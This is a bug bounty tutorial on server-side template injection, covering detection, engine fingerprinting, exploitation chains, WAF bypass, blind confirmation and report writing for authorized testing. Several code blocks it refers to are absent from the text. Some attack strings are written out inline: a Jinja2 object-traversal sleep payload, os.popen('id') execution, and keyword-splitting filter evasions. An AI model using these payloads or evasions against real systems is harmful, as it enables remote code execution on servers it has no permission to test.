SSTI Bug Bounty 2026 — Server-Side Template Injection to RCE on 5 Template Engines | BB Day 26

You knocked out Day 25 — Host Header Injection and Day 24 — CRLF Injection — two server-side manipulation techniques that operate at the HTTP layer. Today we go deeper. SSTI sits at the top of the injection severity ladder because it doesn’t just manipulate headers or redirect flows — it executes arbitrary code inside the server process. If you want to round out your toolkit before diving in, check out the free SecurityElites tools suite for recon support on your targets. Everything we cover today spans both detection methodology and engine-specific exploitation — because finding SSTI without knowing how to prove RCE leaves money on the table. The full curriculum lives at the Bug Bounty Course hub.

What SSTI Is and Why It Consistently Pays Critical on Bug Bounty Programs

Here’s what’s actually happening when a template engine runs. The application has a template — an HTML file with placeholder expressions like {{username}} or ${order.total}. At runtime, the engine takes the template, resolves those expressions against a data context, and renders the final output. The problem starts when the application constructs that template dynamically using user input — instead of passing your name as a value into a fixed placeholder, it drops your raw input directly into the template string before evaluation.

When that happens, the engine doesn’t see your input as data. It sees it as template code. And it executes it.

Think about the difference between these two approaches. Safe: render("Hello {{name}}", {name: userInput}) — the input goes into the data context, never into the template itself. Vulnerable: render("Hello " + userInput) — the input is concatenated into the template string, so if you send {{7*7}}, the engine evaluates it.

This isn’t an obscure mistake. It shows up constantly in name fields that get rendered into emails, in error messages that echo back what you submitted, in PDF generators that build reports from user-supplied content, in notification systems, in search result pages that include your query in the heading, and in admin dashboards that preview user-submitted data. Anywhere the application uses a template to display your input, and anywhere a developer got lazy with string concatenation instead of proper context separation, SSTI is possible.

The Three-Level Severity Ladder

Not every SSTI injection reaches RCE. The impact depends on what the engine exposes and what the application’s sandbox configuration looks like. I think about SSTI in three tiers.

Tier 1 — Reflected output. Your input appears in the response but nothing is evaluated. The template engine is present but input is being passed as data correctly. This is Low severity — you’ve found a potential injection point but it’s not currently vulnerable to execution.

Tier 2 — Arithmetic evaluation. {{7*7}} returns 49. The engine is evaluating your expressions. This alone is Medium severity — you can access template context variables, potentially leak configuration data, environment variables, and session state. On a well-configured sandbox this might be as far as you get, but the arithmetic confirmation alone is a reportable finding on most programs.

Tier 3 — Object traversal to RCE. You walk the engine’s object model — through class hierarchies, module references, or utility classes — until you reach something that can execute OS commands. This is Critical severity, CVSS scores in the 9.0–9.8 range, and this is where the $5K–$30K payouts live.

What Programs Actually Pay for SSTI

From publicly disclosed HackerOne reports I’ve studied: Tier 3 SSTI with confirmed RCE on production scope consistently lands in the Critical payout bracket. I’ve seen $5,000 on mid-tier SaaS programs, $15,000–$22,000 on financial services and enterprise software programs, and $30,000+ on the larger tech company programs with expanded scope. Even Tier 2 SSTI — arithmetic evaluation without a full RCE chain — often qualifies for High severity ($1,000–$5,000) because the engine access alone can leak configuration secrets.

The reason these reports are so valuable is the combination of severity and rarity. Most hunters don’t probe for template syntax. They test for XSS, SQLi, IDOR — the standard checklist. SSTI requires knowing that template engines exist and behave differently from direct output reflection. That knowledge gap is exactly why the payouts stay high.

SSTI Detection and Engine Fingerprinting — The Payload Decision Tree

Every SSTI engagement I run starts the same way — and it’s never with an RCE payload. That’s the mistake. You send a Jinja2 payload to a Twig application and you get nothing back except a confused error log and a possibly triggered WAF rule. The detection phase has one job: confirm that user input reaches the template evaluation context. The fingerprinting phase has one job: identify which engine is evaluating it. Only then do you build the exploitation chain.

Step 1 — The Polyglot Probe

My first injection is always the polyglot detection string. This single payload includes syntax fragments from multiple template engines simultaneously:

Watch the response carefully. Three outcomes matter:

• Server error (500 / stack trace): The input reached the template context and broke parsing. Something is being evaluated. This is a strong SSTI signal — now move to arithmetic probes.
• Verbatim reflection: The string appears in the response unchanged. The input is being treated as data and output-encoded. Either not vulnerable, or the output context is escaping your payload.
• Partial rendering / garbled output: Part of the string was consumed by the engine. Strong SSTI signal — one or more syntax elements were interpreted.

Step 2 — Arithmetic Confirmation Probes

If the polyglot triggered any abnormal response, send four arithmetic probes — one per major syntax family. The logic is simple: if the engine evaluates your expression, a multiplication operation returns a number you didn’t send.

When one of these returns 49 in the response — in the page body, in an email, in a PDF, in a JSON field — you’ve confirmed SSTI. Document the exact request and response before you go any further.

Step 3 — Engine Fingerprinting Decision Tree

Knowing that SSTI exists isn’t enough. The RCE chain is completely different per engine. Send these differentiating payloads — the response tells you exactly which engine you’re dealing with.

Here’s the full engine identification table. Match your response pattern to the engine, then go straight to the corresponding exploitation section below.

SSTI Exploitation Chains — RCE Payloads for Jinja2, Twig, Freemarker, Pebble, and Velocity

Engine confirmed. Now you build the chain. Each of these five engines has a different route from the template context to OS command execution — different object models, different class hierarchies, different utility classes. I’ll give you the exact payload for each one, the traversal logic that explains why it works, and what output to look for that proves RCE. Use id as your command — it’s safe, produces a unique output, and immediately shows you the process user in your report evidence.

Jinja2 — Python / Flask / Django Applications

Jinja2 is the engine you’ll hit most often in bug bounty. Flask uses it by default. Django has Jinja2 as an optional backend. Any Python web framework that doesn’t use a proprietary templating system is likely running Jinja2. The attack chain reaches OS execution through Python’s Method Resolution Order (MRO) — walking up the class hierarchy from any object in the template context to Python’s built-in modules where os lives.

Twig — PHP / Symfony Applications

Twig is the default template engine for Symfony — which means any PHP application built on Symfony is a Twig target. Drupal, eZ Platform, and a large number of enterprise PHP applications run Twig. The exploitation chain uses Twig’s _self global variable to access the environment object, then chains to a custom filter or the exec functionality exposed through Twig’s extension mechanism.

Freemarker — Java Enterprise Applications

Freemarker runs inside Java enterprise stacks — you’ll find it in older Java EE applications, in reporting tools, in CMS platforms like Alfresco and Magnolia, and in Java-based template rendering microservices. The direct RCE path uses Freemarker’s built-in freemarker.template.utility.Execute class, which provides a exec() method designed for template-callable OS execution.

Pebble — Java Web Frameworks

Pebble is a Java template engine modelled closely after Twig — which means if you’ve found a Java application with Twig-like syntax that returns Java-style errors on broken payloads, Pebble is likely. It’s used in Spring Boot applications, Jooby, and various Java microservices. The RCE chain traverses the Java class loader to reach Runtime.exec().

Velocity — Java CMS and Reporting Tools

Apache Velocity is old but it’s everywhere in enterprise Java environments — Atlassian Confluence, JIRA, Liferay, and a large number of Java-based email template and reporting systems use it. It’s one of the highest-value SSTI targets you’ll find on bug bounty programs because these are enterprise products with large bounty budgets. The RCE chain uses Velocity’s ClassTool or the direct Runtime reference available in certain configurations.

WAF Bypass Techniques and Blind SSTI — When the Response Gives You Nothing

Most targets you hit on a real bug bounty program are not running naked Jinja2 with no defences. They have a WAF in front, or they render the template on a background worker and never echo the result back to you. These are the two scenarios that separate hunters who get paid from hunters who give up and move on.

Part 1 — Getting Past WAF Keyword Filters

WAFs targeting SSTI usually block on keyword matching — they look for __class__, __mro__, __subclasses__, config, and common payload fragments. The fix is straightforward: stop spelling those strings in plaintext.

URL encoding. Some WAFs inspect the decoded payload; others inspect the raw request. Try percent-encoding individual characters inside the template expression. %5f%5fclass%5f%5f passes WAFs that only decode once before matching.

Unicode normalization. Send Unicode fullwidth characters that the application server normalises to ASCII before template evaluation. The WAF sees gibberish; the template engine sees __class__.

String concatenation to reconstruct blocked keywords. In Jinja2 you can build the attribute name as a string and use |attr() to access it dynamically. Instead of .__class__, write |attr("__cla"+"ss__"). The WAF never sees the full keyword. In Twig, string concatenation with ~ achieves the same result.

Attribute access via bracket notation. Replace dot notation with bracket notation where the engine supports it. request['__class__'] bypasses WAF signatures tuned to request.__class__.

Payload splitting across parameters. If the application assembles a template from multiple input fields, split your payload chain across them. Field A provides the object traversal; field B provides the method call. Neither field alone triggers the WAF signature.

Part 2 — Confirming Blind SSTI When Output is Never Reflected

Blind SSTI is the scenario where template evaluation happens — you can confirm that mathematically — but the result never appears in the HTTP response. PDF generators, email renderers, background report jobs. The output goes somewhere you can’t see. Here’s how I confirm execution anyway.

Time-based confirmation. Inject a sleep payload and measure response latency. In Jinja2: {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('time').sleep(5)}}. A five-second delay is your confirmation. Not elegant, but it’s reliable and it doesn’t generate external traffic — useful when scope restrictions are tight.

Out-of-band DNS/HTTP callbacks. This is the technique that produces unambiguous evidence for your report. Set up a Burp Collaborator payload URL or an interactsh listener. Inject a payload that forces the server to make a DNS lookup or HTTP request to your callback domain. When your listener receives the ping, you have proof of server-side execution with your payload — and you have a timestamp, source IP, and full request log to drop straight into the PoC section of your report.

Jinja2 blind OOB example using urllib:

File-write confirmation. When outbound traffic is blocked but you have filesystem write access via the RCE chain, write a known string to a predictable web-accessible path. Then fetch that path in a second request. If your string is there, execution is confirmed. This is slower but works in air-gapped environments where DNS callbacks never leave the network.

Writing a Critical SSTI Bug Bounty Report That Gets Paid

Finding SSTI is worth nothing if the triage team closes it as Informational because your report doesn’t make the impact obvious. I have seen hunters pop RCE on a Fortune 500 application and walk away with $500 because they submitted “template injection found, see screenshot.” Here is the report structure I use for every SSTI submission.

Report Structure That Triage Teams Respect

Vulnerability title. Format: [Engine] Server-Side Template Injection in [Parameter/Endpoint] — Unauthenticated RCE. Put the engine in the title. Put “RCE” in the title. Triage teams triage by title first. If your title says “template injection” and the next hunter’s says “Jinja2 SSTI to Remote Code Execution — id confirms uid=0,” the other report gets escalated first.

CVSS score justification. SSTI with confirmed RCE is always Critical — CVSS 9.8 minimum. The justification is: Attack Vector Network, Attack Complexity Low, Privileges Required None, User Interaction None, Scope Changed, Confidentiality/Integrity/Availability all High. If the program disputes this, your RCE output showing uid=0 or file read of /etc/passwd is your counter-evidence.

Reproduction steps. Number every step. Include exact HTTP request and response pairs from Burp Repeater. Redact the RCE payload in the title and summary — show it fully in the Technical Details section so triage can reproduce it safely without accidentally triggering it in a preview pane.

Impact narrative. Don’t make triage infer the impact. Write it explicitly: full OS command execution as the application service account, ability to read application source code and environment variables including database credentials, SSRF pivot to internal services, potential for lateral movement to adjacent systems on the same network segment, data exfiltration of all data accessible to the application process. One sentence per impact vector. Make it impossible to miscategorise.

Remediation section. Three recommendations: (1) Implement sandbox rendering — use template engine sandbox modes where available (Jinja2 sandbox environment, Twig sandbox policy). (2) Never concatenate user input directly into template strings — treat template content as code, not data. (3) Disable or restrict access to dangerous template features (object introspection, class traversal) at the engine configuration level.

Handling triage rejections. The most common rejection is “we consider template injection to be low impact in this context.” Your counter is one message: attach the Burp Repeater screenshot showing os.popen('id').read() returning the server’s UID. Ask them to confirm that OS command execution as their application service account is low impact. You will not hear that response again.

SSTI is one of the highest-impact vulnerability classes in the bug bounty ecosystem precisely because most developers don’t think about template strings the way they think about SQL queries. The pattern — user input flows into a template context, engine evaluates it, server executes it — is baked into dozens of frameworks that teams deploy without reading the security documentation. Your job is to find those deployments before someone with malicious intent does. For everything else in the methodology — from subdomain recon through to report submission — the Bug Bounty Course has every step in sequence.

📋 SSTI Payloads and Commands — Day 26 Reference Card

SSTI Bug Bounty — Frequently Asked Questions